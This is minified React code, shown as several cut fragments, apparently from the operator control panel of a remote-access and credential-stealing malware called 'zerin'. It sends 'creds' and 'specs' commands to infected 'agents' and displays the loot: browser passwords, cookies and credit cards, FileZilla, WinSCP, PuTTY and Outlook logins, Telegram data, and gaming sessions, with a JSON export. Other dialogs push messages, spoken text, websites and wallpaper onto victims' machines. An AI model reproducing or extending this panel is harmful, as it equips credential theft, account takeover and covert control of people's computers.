disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{cl
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:ne=>v(ne.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(ac,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ic,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:ne=>N(ne.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>w(!1),onSend:I,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ic,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:ne=>A(ne.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),_&&a.jsxs(ic,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:ne=>D(ne.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function Gs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ic({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function ac({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r
hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r
disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function nV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function rV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function iV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function sV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function oV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,A,_,O,P,D,V,R,M,W,$,U,B,K,Z,le,de,we,ye,G,te,C,Y,re,F,se,be,ke,Ae,I,fe,q,ne,ve,H,Q,he,E,ce,ee,xe,Ne,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(ie=>{const oe=new Set(ie);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let ie=0;h.current=setInterval(async()=>{var oe,Oe,et,T,ae,ue,lt,Ct,Lt,vr,Qr,Li,_s;ie++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords
bg-zerin-accent hover:bg-zerin-accent-hover text-white\r
px-4 py-2 transition-colors\r
disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
text-zerin-text-dim hover:text-zerin-text\r
bg-zerin-panel hover:bg-zerin-panel-hover\r
border border-zerin-panel-border\r
px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(A=i.chrome_cookies)!=null&&A.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((_=i.chrome_cards)==null?void 0:_.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zeri
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},ie))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((de=i.filezilla)==null?void 0:de.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),(((we=i.winscp)==null?void 0:we.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},ie))})})]}),(((G=i.outlook)==null?void 0:G.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((re=i.putty)!=null&&re.length)&&!((F=i.outlook)!=null&&F.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((se=i.steam)!=null&&se.found?1:0)+((be=i.epic)!=null&&be.found?1:0)+(((ke=i.minecraft)==null?void 0:ke.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((I=i.steam)==null?void 0:I.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-
